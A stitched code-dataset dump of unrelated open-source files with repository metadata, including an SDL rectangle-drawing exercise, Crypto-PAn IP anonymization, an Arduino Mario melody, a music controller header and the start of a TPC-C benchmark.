GetConstructorObjectHandle(JSContext* aCx, JS::Handle<JSObject*> aGlobal, bool aDefineOnGlobal = true);
JSObject*
GetConstructorObject(JSContext* aCx, JS::Handle<JSObject*> aGlobal);
} // namespace HTMLSpanElementBinding
} // namespace dom
} // namespace mozilla
#endif // mozilla_dom_HTMLSpanElementBinding_h
|
[
"andras.igneczi@doclerholding.com"
] |
andras.igneczi@doclerholding.com
|
974e8750badf39561ec1677bd953f1ec22a8f11d
|
5f428ff26262012813283099d401880280832682
|
/znRender/ShaderBase.cpp
|
7e3926e86db57c14356cfe2e39d5685553589aea
|
[] |
no_license
|
ziranjuanchow/ZenonEngine
|
42b4e9697ced90a7252293fbe7c66c70637463c8
|
4dbc79eafa75d4d9293409b165fae9fd166a8cc0
|
refs/heads/master
| 2023-08-20T12:35:44.698443
| 2021-10-29T07:35:25
| 2021-10-29T07:35:25
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 598
|
cpp
|
#include "stdafx.h"
// General
#include "ShaderBase.h"
// Additional
#include "ShaderParameterBase.h"
ShaderBase::ShaderBase()
: m_Type(EShaderType::UnknownShaderType)
{
}
ShaderBase::~ShaderBase()
{}
EShaderType ShaderBase::GetShaderType() const
{
return m_Type;
}
IShaderInputLayout& ShaderBase::GetInputLayout() const
{
return *m_InputLayout;
}
IShaderParameter* ShaderBase::GetShaderParameterByName(const std::string& name) const
{
const auto& iter = m_ShaderParameters.find(name);
if (iter == m_ShaderParameters.end())
return nullptr;
return iter->second.get();
}
|
[
"alexstenfard@gmail.com"
] |
alexstenfard@gmail.com
|
a7f26b50c9268879554494a8c88324621b8d28a1
|
14ce01a6f9199d39e28d036e066d99cfb3e3f211
|
/Cpp/SDK/SB_Sub_Objectives_classes.h
|
958835fbad11f8733141d1bf86f973807dbb3a09
|
[] |
no_license
|
zH4x-SDK/zManEater-SDK
|
73f14dd8f758bb7eac649f0c66ce29f9974189b7
|
d040c05a93c0935d8052dd3827c2ef91c128bce7
|
refs/heads/main
| 2023-07-19T04:54:51.672951
| 2021-08-27T13:47:27
| 2021-08-27T13:47:27
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 733
|
h
|
#pragma once
// Name: ManEater, Version: 1.0.0
/*!!DEFINE!!*/
/*!!HELPER_DEF!!*/
/*!!HELPER_INC!!*/
#ifdef _MSC_VER
#pragma pack(push, 0x01)
#endif
namespace CG
{
//---------------------------------------------------------------------------
// Classes
//---------------------------------------------------------------------------
// BlueprintGeneratedClass SB_Sub_Objectives.SB_Sub_Objectives_C
// 0x0000 (FullSize[0x0228] - InheritedSize[0x0228])
class ASB_Sub_Objectives_C : public ALevelScriptActor
{
public:
static UClass* StaticClass()
{
static auto ptr = UObject::FindClass("BlueprintGeneratedClass SB_Sub_Objectives.SB_Sub_Objectives_C");
return ptr;
}
};
}
#ifdef _MSC_VER
#pragma pack(pop)
#endif
|
[
"zp2kshield@gmail.com"
] |
zp2kshield@gmail.com
|
46ff320abb829cc01fd88d2f97d98b8f565ac1a1
|
c1571bbb63c76a9d84c52d5f336f76d461fecdab
|
/greenfox/week-03/day-03/FourRectangles/main.cpp
|
479e945e0aaf814e0a0ecc79892bceadf778be09
|
[] |
no_license
|
green-fox-academy/rab.peti
|
a084ba10fd316bac557dc2beba17bb6a75fb46aa
|
896b87803fbcfb93838d68f63e5ffed927659f95
|
refs/heads/master
| 2020-04-02T17:22:08.547050
| 2019-09-24T06:48:45
| 2019-09-24T06:48:45
| 154,655,058
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,869
|
cpp
|
// Exercise:
// draw four different size and color rectangles.
// avoid code duplication.
#include <iostream>
#include <SDL.h>
//Screen dimension constants
const int SCREEN_WIDTH = 640;
const int SCREEN_HEIGHT = 480;
void draw();
//Starts up SDL and creates window
bool init();
//Frees media and shuts down SDL
void close();
//The window we'll be rendering to
SDL_Window* gWindow = nullptr;
//The window renderer
SDL_Renderer* gRenderer = nullptr;
void draw()
{
int x = 50;
int y = 50;
for (int i = 1; i < 5; ++i) {
//choose color
SDL_SetRenderDrawColor(gRenderer, i*x, i*x, 0x00, 0xFF);
//create a rectangle
SDL_Rect fillRect = { i*x, i*y, x, y};
//draw rectangle
SDL_RenderFillRect( gRenderer, &fillRect );
}
}
bool init()
{
//Initialize SDL
if( SDL_Init( SDL_INIT_VIDEO ) < 0 )
{
std::cout << "SDL could not initialize! SDL Error: " << SDL_GetError() << std::endl;
return false;
}
//Create window
gWindow = SDL_CreateWindow( "Four rectangles", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, SCREEN_WIDTH, SCREEN_HEIGHT, SDL_WINDOW_SHOWN );
if( gWindow == nullptr )
{
std::cout << "Window could not be created! SDL Error: " << SDL_GetError() << std::endl;
return false;
}
//Create renderer for window
gRenderer = SDL_CreateRenderer( gWindow, -1, SDL_RENDERER_ACCELERATED );
if( gRenderer == nullptr )
{
std::cout << "Renderer could not be created! SDL Error: " << SDL_GetError() << std::endl;
return false;
}
//Initialize renderer color
SDL_SetRenderDrawColor( gRenderer, 0xFF, 0xFF, 0xFF, 0xFF );
return true;
}
void close()
{
//Destroy window
SDL_DestroyRenderer( gRenderer );
SDL_DestroyWindow( gWindow );
gWindow = nullptr;
gRenderer = nullptr;
SDL_Quit();
}
int main( int argc, char* args[] )
{
//Start up SDL and create window
if( !init() )
{
std::cout << "Failed to initialize!" << std::endl;
close();
return -1;
}
//Main loop flag
bool quit = false;
//Event handler
SDL_Event e;
//While application is running
while( !quit ) {
//Handle events on queue
while (SDL_PollEvent(&e) != 0) {
//User requests quit
if (e.type == SDL_QUIT) {
quit = true;
}
}
//Clear screen
SDL_SetRenderDrawColor(gRenderer, 0xFF, 0xFF, 0xFF, 0xFF);
SDL_RenderClear(gRenderer);
//--------------------------------------------
//This is where you can start drawing geometry
//--------------------------------------------
draw();
//Update screen
SDL_RenderPresent(gRenderer);
}
//Free resources and close SDL
close();
return 0;
}
|
[
"rab.peter97@gmail.com"
] |
rab.peter97@gmail.com
|
d65bf74162e3d97cf2cceb28b451d9f1dda744f5
|
d8d383dc497a57e7500afdd00b94db844c9b5fed
|
/game/client/Bullet.h
|
bfa43d29fc91ddf33af2a70610d210ab96ceb271
|
[] |
no_license
|
astlok/Project_X
|
7c64872324790d4674da7082e5661f077f51b2a0
|
c10489e158f3ccfe3ad31b8fe4c1b2210e37bef7
|
refs/heads/master
| 2022-11-05T01:52:06.009581
| 2020-06-20T08:45:26
| 2020-06-20T08:45:26
| 273,670,470
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,001
|
h
|
//
// Created by yaroslav on 16.05.2020.
//
#include <SFML/System/Vector2.hpp>
#include <SFML/Graphics/RenderWindow.hpp>
#include "messages/UserToServerMessage.h"
#include "transition.pb.h"
#include <SFML/Graphics/CircleShape.hpp>
#include <SFML/Graphics.hpp>
#include <memory>
#include "Object.h"
#ifndef GAME_BULLET_H
#define GAME_BULLET_H
class Bullet : public Object {
public:
Bullet(sf::Uint64 id, const sf::Vector2f& position, bool state);
void set_position(const sf::Vector2f& position) override ;
void set_direction(const Direction dir) override ;
void draw_stat(sf::RenderWindow& window) override;
void draw(sf::RenderWindow& window, float time, float& current_frame) override ;
void set_hp(int hp) override ;
void update_dir_enemy(float x, float y) override;
private:
sf::CircleShape shape;
//sf::Vector2f m_position;
std::string m_username;
sf::Texture bullet_texture;
sf::Sprite bullet_sprite;
};
#endif //GAME_BULLET_H
|
[
"astlok@yandex.ru"
] |
astlok@yandex.ru
|
96d62a8458085f07122c406476a603a689cc0946
|
1a09f6bc750e1cc03c4cc7502dbedf5448f6646c
|
/libpktanon/anonprimitives/cryptopan/panonymizer.cpp
|
274a94b7a1fd705c9c1f9e777b8c020dcafd28c2
|
[
"BSD-2-Clause",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
KIT-Telematics/pktanon
|
87bbcc3fff6ba3450d031b2c6f63eea90d56ae9a
|
a417af1a95a3c349ed55da54c12ee714ef401a1f
|
refs/heads/master
| 2023-07-06T11:27:06.168834
| 2023-06-27T12:48:51
| 2023-06-27T12:48:51
| 25,683,813
| 5
| 1
|
NOASSERTION
| 2023-06-27T12:48:52
| 2014-10-24T10:44:01
|
C++
|
UTF-8
|
C++
| false
| false
| 2,327
|
cpp
|
// Package: Crypto-PAn 1.0
// File: panonymizer.cpp
// Last Update: April 17, 2002
// Author: Jinliang Fan
#define _PANONYMIZER_CPP_
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "panonymizer.h"
//Constructor
PAnonymizer::PAnonymizer(const UINT8 * key) {
//initialize the 128-bit secret key.
memcpy(m_key, key, 16);
//initialize the Rijndael cipher.
m_rin.init(Rijndael::ECB, Rijndael::Encrypt, key, Rijndael::Key16Bytes);
//initialize the 128-bit secret pad. The pad is encrypted before being used for padding.
m_rin.blockEncrypt(key + 16, 128, m_pad);
}
//Destructor
PAnonymizer::~PAnonymizer() {
}
//Anonymization funtion
UINT32 PAnonymizer::anonymize(const UINT32 orig_addr) {
UINT8 rin_output[16];
UINT8 rin_input[16];
UINT32 result = 0;
UINT32 first4bytes_pad, first4bytes_input;
int pos;
memcpy(rin_input, m_pad, 16);
first4bytes_pad = (((UINT32) m_pad[0]) << 24) + (((UINT32) m_pad[1]) << 16) +
(((UINT32) m_pad[2]) << 8) + (UINT32) m_pad[3];
// For each prefixes with length from 0 to 31, generate a bit using the Rijndael cipher,
// which is used as a pseudorandom function here. The bits generated in every rounds
// are combineed into a pseudorandom one-time-pad.
for (pos = 0; pos <= 31 ; pos++) {
//Padding: The most significant pos bits are taken from orig_addr. The other 128-pos
//bits are taken from m_pad. The variables first4bytes_pad and first4bytes_input are used
//to handle the annoying byte order problem.
if (pos==0) {
first4bytes_input = first4bytes_pad;
}
else {
first4bytes_input = ((orig_addr >> (32-pos)) << (32-pos)) | ((first4bytes_pad<<pos) >> pos);
}
rin_input[0] = (UINT8) (first4bytes_input >> 24);
rin_input[1] = (UINT8) ((first4bytes_input << 8) >> 24);
rin_input[2] = (UINT8) ((first4bytes_input << 16) >> 24);
rin_input[3] = (UINT8) ((first4bytes_input << 24) >> 24);
//Encryption: The Rijndael cipher is used as pseudorandom function. During each
//round, only the first bit of rin_output is used.
m_rin.blockEncrypt(rin_input, 128, rin_output);
//Combination: the bits are combined into a pseudorandom one-time-pad
result |= (rin_output[0] >> 7) << (31-pos);
}
//XOR the orginal address with the pseudorandom one-time-pad
return result ^ orig_addr;
}
|
[
"effenok@users.noreply.github.com"
] |
effenok@users.noreply.github.com
|
8d3894af2df426ca9b9461e716617e162ef6a433
|
0a7629e237153b252b955121679ebd5057c99d04
|
/Varios arduino/sketch_super_mario_theme/sketch_super_mario_theme.ino
|
2831c7eb0b44637478d87fc6e57dc41d50807de1
|
[] |
no_license
|
ylrodriguez/Arduino-LampRGB
|
92927e68b742ab5f4ddba4c68f055aba7c6b071f
|
2b458802336826f455dfda880c5639b9c5969532
|
refs/heads/master
| 2021-06-01T11:29:04.203673
| 2016-06-29T01:29:22
| 2016-06-29T01:29:22
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,484
|
ino
|
/* This example uses a piezo speaker to play melodies. It sends
* a square wave of the appropriate frequency to the piezo, generating
* the corresponding tone.
*
* The calculation of the tones is made following the mathematical
* operation:
*
* timeHigh = period / 2 = 1 / (2 * toneFrequency)
*
* where the different tones are described as in the table:
*
* note frequency period timeHigh
* c 261 Hz 3830 1915
* d 294 Hz 3400 1700
* e 329 Hz 3038 1519
* f 349 Hz 2864 1432
* g 392 Hz 2550 1275
* a 440 Hz 2272 1136
* b 493 Hz 2028 1014
* C 523 Hz 1912 956
*
* http://www.arduino.cc/en/Tutorial/Melody
*/
int speakerPin = 11;
int length = 295; // the number of notes
char notes[] = "EE E CE G g C g e a b ia gEGA FG E CDb C g e a b ia gEGA FG E CDb GNFR E uaC aCD GNFR E 1 11 GNFR E uaC aCD L D C CC C CD EC ag CC C CDE CC C CD EC ag EE E CE G g C g e a b ia gEGA FG E CDb C g e a b ia gEGA FG E CDb EC g u aF Fa bAAAGFEC ag EC g u aF Fa bF FFEDCe ec "; // a space represents a rest
float beats[] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 2, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, //Page 1
2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 2, 1, 1, 2, 4, //Page 2
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 4, 4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 2, //Page4
1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, //Page 5
1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1.3, 1.3, 1.3, 1.3, 1.3, 1.3, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1.3, 1.3, 1.3, 1, 1, 1, 1, 1, 1, 2 }; //Page 6
int tempo = 95;
void playTone(int ton1, int duration) {
for (long i = 0; i < duration * 1000L; i += ton1) {
tone(speakerPin, ton1);
delayMicroseconds(ton1);
}
noTone(speakerPin);
}
void playNote(char note, int duration) {
// c c# d d# e f f# g g# a a# b
char names[] = { ' ', '!', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', 'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C', 'D', 'E', 'F', 'G', 'A', 'B', 'i', 'N', 'R', 'u', '1', 'L', 'k'}; // [i = b flat] [N = G flat] [R = D#] [u = g#] [1 = C oct. 5] [L = E flat]
int tones[] = { 0, 1046, 138, 146, 155, 164, 174, 184, 195, 207, 220, 233, 246, 261, 293, 329, 349, 391, 440, 493, 523, 587, 659, 698, 783, 880, 987, 466, 740, 622, 415, 1046, 622u, 227};
// play the tone corresponding to the note name
for (int i = 0; i < 34; i++) {
if (names[i] == note) {
playTone(tones[i], duration);
}
}
}
void setup() {
pinMode(speakerPin, OUTPUT);
}
void loop() {
for (int i = 0; i < length; i++) {
if (notes[i] == ' ') {
delay(beats[i] * tempo); // rest
} else {
playNote(notes[i], beats[i] * tempo);
}
// pause between notes
delay(tempo / 2);
}
}
|
[
"Yojhanr95@gmail.com"
] |
Yojhanr95@gmail.com
|
deecedf8b29f3c3f959d7cfad92be6060531325c
|
8956535434a4b7496f3b311df82892b719dce114
|
/source/neuropod/bindings/c/np_tensor_allocator.cc
|
792e008fde5fec102bbbf0a2ba6c39b11282a79a
|
[
"Apache-2.0"
] |
permissive
|
uber/neuropod
|
5b5d4fc95b09f74c7d29f8e3a5246af6c7d0cc90
|
fde79d98f975124a21c6221a79377f0b3a034c5f
|
refs/heads/master
| 2023-09-04T04:35:35.765879
| 2022-07-15T19:49:18
| 2022-07-15T19:49:18
| 167,240,425
| 924
| 80
|
Apache-2.0
| 2023-06-24T15:15:55
| 2019-01-23T19:22:22
|
C++
|
UTF-8
|
C++
| false
| false
| 1,440
|
cc
|
/* Copyright (c) 2020 The Neuropod Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "neuropod/bindings/c/np_tensor_allocator_internal.h"
#include "neuropod/bindings/c/np_tensor_internal.h"
// Free an allocator
// NOLINTNEXTLINE(readability-identifier-naming): Ignore function case for C API methods
void NP_FreeAllocator(NP_TensorAllocator *allocator)
{
delete allocator;
}
// Allocate a tensor with a specified type and shape
// Note: the caller is responsible for calling NP_FreeTensor on the returned tensor
// NOLINTNEXTLINE(readability-identifier-naming): Ignore function case for C API methods
NP_NeuropodTensor *NP_AllocateTensor(NP_TensorAllocator *allocator, size_t num_dims, int64_t *dims, NP_TensorType type)
{
std::vector<int64_t> d(dims, dims + num_dims);
auto out = new NP_NeuropodTensor();
out->tensor = allocator->allocator->allocate_tensor(d, static_cast<neuropod::TensorType>(type));
return out;
}
|
[
"noreply@github.com"
] |
uber.noreply@github.com
|
66d1e4579ecc9554caafc1a3c2d988d2318fc147
|
b69b81edaa4db0f84f44751fc8425c0bd4d8fd23
|
/Framework/MusicController.h
|
2e1ec12ac2f3f17bbab3c46e2a4caa1efcd50677
|
[
"MIT"
] |
permissive
|
jerryrox/RenkoSDLFramework
|
5f30c5b3ade59092084ce5dd782af636372d8835
|
0db6948c067b101a3702128e61d601dfe879aba1
|
refs/heads/master
| 2022-03-07T22:57:41.115562
| 2019-10-03T08:01:33
| 2019-10-03T08:01:33
| 212,526,113
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,344
|
h
|
#pragma once
#ifndef _MUSIC_CONTROLLER_
#define _MUSIC_CONTROLLER_
#include "Events.h"
#include <fmod.hpp>
class AudioClock;
class AudioManager;
class RenkoFramework;
class MusicController
{
public:
Events MusicMounted;
Events MusicPlayed;
Events MusicUnpaused;
Events MusicPaused;
Events MusicStopped;
Events MusicSeek;
Events MusicEnded;
Events MusicLoop;
MusicController(RenkoFramework* framework, AudioManager* audioManager);
~MusicController();
// Sets the audio clip to be played by this controller.
void MountMusic(FMOD::Sound* clip);
// Plays music with default delay.
void Play();
// Plays music with specified delay in seconds.
void Play(float delay);
// Unpauses music playback.
void Unpause();
// Pauses music playback.
void Pause();
// Stops music playback.
void Stop();
// Seeks time to specified time in ms.
void SeekTo(float time);
// Fades from specified start to target volumes.
void FadeTo(float start, float target);
// Fades to specified fade factor.
void FadeTo(float volume);
// Instantly sets fade amount on the music.
void SetFade(float volume);
// Sets the volume of the music.
void SetVolume(float volume);
// Sets the clock instance which the music actions will be driven based on.
void SetClock(AudioClock* clock);
float GetPlayedTime();
float GetLastSeekTime();
FMOD::Channel* GetSource();
FMOD::Sound* GetClip();
// Returns the clip duration in ms.
float GetDuration();
// Sets the loop time in ms.
void SetLoopTime(float time);
float GetLoopTime();
// Sets whether the audio should loop.
void SetLoop(bool loop);
bool IsLoop();
// Whether the music is playing.
bool IsPlaying();
// Updates music controller logic.
void Update(float deltaTime);
private:
RenkoFramework* framework;
AudioClock* clock;
AudioManager* audioManager;
FMOD::Channel* source;
FMOD::ChannelGroup* group;
FMOD::Sound* clip;
float loopTime;
bool isLoop;
// The time when the music was played.
float playedTime;
// The time when last seek occurred.
float lastSeekTime;
float volume;
float fade;
float fadeStart;
float fadeFactor;
// Sets variables ready for fading effect.
void StartFade();
// Sets variables ready for fade stop.
void StopFade();
// Whether fade effect is going on.
bool IsFading();
void MountInternal();
};
#endif
|
[
"jerryrox@live.co.kr"
] |
jerryrox@live.co.kr
|
d50c542fb32f1dbbcc3006cbe954f28836ba4f69
|
dfba98800aeba93d39634118b6a0d53d4b9d0c63
|
/ae-tpcc-polyjuice-policy-switch/benchmarks/tpcc.cc
|
fc6844d9d5dc20e62e3002b2661e9fcc1a6d4042
|
[
"Apache-2.0",
"MIT"
] |
permissive
|
gaoyuanning/Polyjuice
|
039b4b818297dace3af4597f2e2660b78039f007
|
f9b78845f2232250013e7c4919004fe349377fee
|
refs/heads/master
| 2023-05-30T02:25:43.222618
| 2021-06-23T12:53:04
| 2021-06-23T12:53:04
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 160,418
|
cc
|
/**
* An implementation of TPC-C based off of:
* https://github.com/oltpbenchmark/oltpbench/tree/master/src/com/oltpbenchmark/benchmarks/tpcc
*/
#include <sys/time.h>
#include <string>
#include <ctype.h>
#include <stdlib.h>
#include <malloc.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <set>
#include <vector>
#include <atomic>
#include "../txn.h"
#include "../macros.h"
#include "../scopedperf.hh"
#include "../spinlock.h"
#include "../conflict_graph.h"
#include "bench.h"
#include "tpcc.h"
#include "../PolicyGradient.h"
using namespace std;
using namespace util;
#define PINCPU
#define TPCC_TABLE_LIST(x) \
x(customer) \
x(customer_name_idx) \
x(district) \
x(history) \
x(item) \
x(new_order) \
x(oorder) \
x(oorder_c_id_idx) \
x(order_line) \
x(stock) \
x(stock_data) \
x(warehouse)
static inline ALWAYS_INLINE size_t
NumWarehouses()
{
return (size_t) scale_factor;
}
// config constants
static constexpr inline ALWAYS_INLINE size_t
NumItems()
{
return 100000;
}
static constexpr inline ALWAYS_INLINE size_t
NumDistrictsPerWarehouse()
{
return 10;
}
static constexpr inline ALWAYS_INLINE size_t
NumCustomersPerDistrict()
{
return 3000;
}
static inline void
bind_thread(uint worker_id)
{
#ifdef PINCPU
const size_t cpu = worker_id % coreid::num_cpus_online();
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(cpu, &cpuset);
int s = pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
if (s != 0)
fprintf(stderr, "pthread_setaffinity_np");
#endif
}
static conflict_graph* cgraph = NULL;
enum tpcc_tx_types
{
neworder_type = 1,
payment_type,
delivery_type,
end_type
};
const size_t type_num = (end_type - neworder_type);
static inline conflict_graph*
init_tpcc_cgraph()
{
conflict_graph* g = new conflict_graph(type_num);
//No need to specify the constraint,
//if only one c-edge
g->init_txn(neworder_type, 3);
#ifdef SUPPORT_COMMUTATIVE_OP
g->init_txn(payment_type, 1);
#else
g->init_txn(payment_type, 3);
#endif
g->init_txn(delivery_type, 2);
return g;
}
// T must implement lock()/unlock(). Both must *not* throw exceptions
template <typename T>
class scoped_multilock {
public:
inline scoped_multilock()
: did_lock(false)
{
}
inline ~scoped_multilock()
{
if (did_lock)
for (auto &t : locks)
t->unlock();
}
inline void
enq(T &t)
{
ALWAYS_ASSERT(!did_lock);
locks.emplace_back(&t);
}
inline void
multilock()
{
ALWAYS_ASSERT(!did_lock);
if (locks.size() > 1)
sort(locks.begin(), locks.end());
#ifdef CHECK_INVARIANTS
if (set<T *>(locks.begin(), locks.end()).size() != locks.size()) {
for (auto &t : locks)
cerr << "lock: " << hexify(t) << endl;
INVARIANT(false && "duplicate locks found");
}
#endif
for (auto &t : locks)
t->lock();
did_lock = true;
}
private:
bool did_lock;
typename util::vec<T *, 64>::type locks;
};
// like a lock_guard, but has the option of not acquiring
template <typename T>
class scoped_lock_guard {
public:
inline scoped_lock_guard(T &l)
: l(&l)
{
this->l->lock();
}
inline scoped_lock_guard(T *l)
: l(l)
{
if (this->l)
this->l->lock();
}
inline ~scoped_lock_guard()
{
if (l)
l->unlock();
}
private:
T *l;
};
// configuration flags
static int g_disable_xpartition_txn = 0;
static int g_disable_read_only_scans = 0;
static int g_enable_partition_locks = 0;
static int g_enable_separate_tree_per_partition = 0;
static int g_new_order_remote_item_pct = 1;
static int g_new_order_fast_id_gen = 0;
static int g_uniform_item_dist = 0;
static int g_order_status_scan_hack = 0;
static unsigned g_txn_workload_mix[] = { 45, 43, 4, 4, 4 }; // default TPC-C workload mix
static int g_user_initial_abort_rate = 0;
static aligned_padded_elem<spinlock> *g_partition_locks = nullptr;
static aligned_padded_elem<atomic<uint64_t>> *g_district_ids = nullptr;
// maps a wid => partition id
static inline ALWAYS_INLINE unsigned int
PartitionId(unsigned int wid)
{
INVARIANT(wid >= 1 && wid <= NumWarehouses());
wid -= 1; // 0-idx
if (NumWarehouses() <= nthreads)
// more workers than partitions, so its easy
return wid;
const unsigned nwhse_per_partition = NumWarehouses() / nthreads;
const unsigned partid = wid / nwhse_per_partition;
if (partid >= nthreads)
return nthreads - 1;
return partid;
}
static inline ALWAYS_INLINE spinlock &
LockForPartition(unsigned int wid)
{
INVARIANT(g_enable_partition_locks);
return g_partition_locks[PartitionId(wid)].elem;
}
static inline atomic<uint64_t> &
NewOrderIdHolder(unsigned warehouse, unsigned district)
{
INVARIANT(warehouse >= 1 && warehouse <= NumWarehouses());
INVARIANT(district >= 1 && district <= NumDistrictsPerWarehouse());
const unsigned idx =
(warehouse - 1) * NumDistrictsPerWarehouse() + (district - 1);
return g_district_ids[idx].elem;
}
static inline uint64_t
FastNewOrderIdGen(unsigned warehouse, unsigned district)
{
return NewOrderIdHolder(warehouse, district).fetch_add(1, memory_order_acq_rel);
}
struct checker {
// these sanity checks are just a few simple checks to make sure
// the data is not entirely corrupted
static inline ALWAYS_INLINE void
SanityCheckCustomer(const customer::key *k, const customer::value *v)
{
INVARIANT(k->c_w_id >= 1 && static_cast<size_t>(k->c_w_id) <= NumWarehouses());
INVARIANT(k->c_d_id >= 1 && static_cast<size_t>(k->c_d_id) <= NumDistrictsPerWarehouse());
INVARIANT(k->c_id >= 1 && static_cast<size_t>(k->c_id) <= NumCustomersPerDistrict());
INVARIANT(v->c_credit == "BC" || v->c_credit == "GC");
INVARIANT(v->c_middle == "OE");
}
static inline ALWAYS_INLINE void
SanityCheckWarehouse(const warehouse::key *k, const warehouse::value *v)
{
INVARIANT(k->w_id >= 1 && static_cast<size_t>(k->w_id) <= NumWarehouses());
INVARIANT(v->w_state.size() == 2);
INVARIANT(v->w_zip == "123456789");
}
static inline ALWAYS_INLINE void
SanityCheckDistrict(const district::key *k, const district::value *v)
{
INVARIANT(k->d_w_id >= 1 && static_cast<size_t>(k->d_w_id) <= NumWarehouses());
INVARIANT(k->d_id >= 1 && static_cast<size_t>(k->d_id) <= NumDistrictsPerWarehouse());
INVARIANT(v->d_next_o_id >= 3001);
INVARIANT(v->d_state.size() == 2);
INVARIANT(v->d_zip == "123456789");
}
static inline ALWAYS_INLINE void
SanityCheckItem(const item::key *k, const item::value *v)
{
INVARIANT(k->i_id >= 1 && static_cast<size_t>(k->i_id) <= NumItems());
INVARIANT(v->i_price >= 1.0 && v->i_price <= 100.0);
}
static inline ALWAYS_INLINE void
SanityCheckStock(const stock::key *k, const stock::value *v)
{
INVARIANT(k->s_w_id >= 1 && static_cast<size_t>(k->s_w_id) <= NumWarehouses());
INVARIANT(k->s_i_id >= 1 && static_cast<size_t>(k->s_i_id) <= NumItems());
}
static inline ALWAYS_INLINE void
SanityCheckNewOrder(const new_order::key *k, const new_order::value *v)
{
INVARIANT(k->no_w_id >= 1 && static_cast<size_t>(k->no_w_id) <= NumWarehouses());
INVARIANT(k->no_d_id >= 1 && static_cast<size_t>(k->no_d_id) <= NumDistrictsPerWarehouse());
}
static inline ALWAYS_INLINE void
SanityCheckOOrder(const oorder::key *k, const oorder::value *v)
{
INVARIANT(k->o_w_id >= 1 && static_cast<size_t>(k->o_w_id) <= NumWarehouses());
INVARIANT(k->o_d_id >= 1 && static_cast<size_t>(k->o_d_id) <= NumDistrictsPerWarehouse());
INVARIANT(v->o_c_id >= 1 && static_cast<size_t>(v->o_c_id) <= NumCustomersPerDistrict());
INVARIANT(v->o_carrier_id >= 0 && static_cast<size_t>(v->o_carrier_id) <= NumDistrictsPerWarehouse());
INVARIANT(v->o_ol_cnt >= 5 && v->o_ol_cnt <= 15);
}
static inline ALWAYS_INLINE void
SanityCheckOrderLine(const order_line::key *k, const order_line::value *v)
{
INVARIANT(k->ol_w_id >= 1 && static_cast<size_t>(k->ol_w_id) <= NumWarehouses());
INVARIANT(k->ol_d_id >= 1 && static_cast<size_t>(k->ol_d_id) <= NumDistrictsPerWarehouse());
INVARIANT(k->ol_number >= 1 && k->ol_number <= 15);
INVARIANT(v->ol_i_id >= 1 && static_cast<size_t>(v->ol_i_id) <= NumItems());
}
};
struct _dummy {}; // exists so we can inherit from it, so we can use a macro in
// an init list...
class tpcc_worker_mixin : private _dummy {
#define DEFN_TBL_INIT_X(name) \
, tbl_ ## name ## _vec(partitions.at(#name))
public:
tpcc_worker_mixin(const map<string, vector<abstract_ordered_index *>> &partitions) :
_dummy() // so hacky...
TPCC_TABLE_LIST(DEFN_TBL_INIT_X)
{
ALWAYS_ASSERT(NumWarehouses() >= 1);
}
#undef DEFN_TBL_INIT_X
protected:
#define DEFN_TBL_ACCESSOR_X(name) \
private: \
vector<abstract_ordered_index *> tbl_ ## name ## _vec; \
protected: \
inline ALWAYS_INLINE abstract_ordered_index * \
tbl_ ## name (unsigned int wid) \
{ \
INVARIANT(wid >= 1 && wid <= NumWarehouses()); \
INVARIANT(tbl_ ## name ## _vec.size() == NumWarehouses()); \
return tbl_ ## name ## _vec[wid - 1]; \
}
TPCC_TABLE_LIST(DEFN_TBL_ACCESSOR_X)
#undef DEFN_TBL_ACCESSOR_X
// only TPCC loaders need to call this- workers are automatically
// pinned by their worker id (which corresponds to warehouse id
// in TPCC)
//
// pins the *calling* thread
static void
PinToWarehouseId(unsigned int wid)
{
const unsigned int partid = PartitionId(wid);
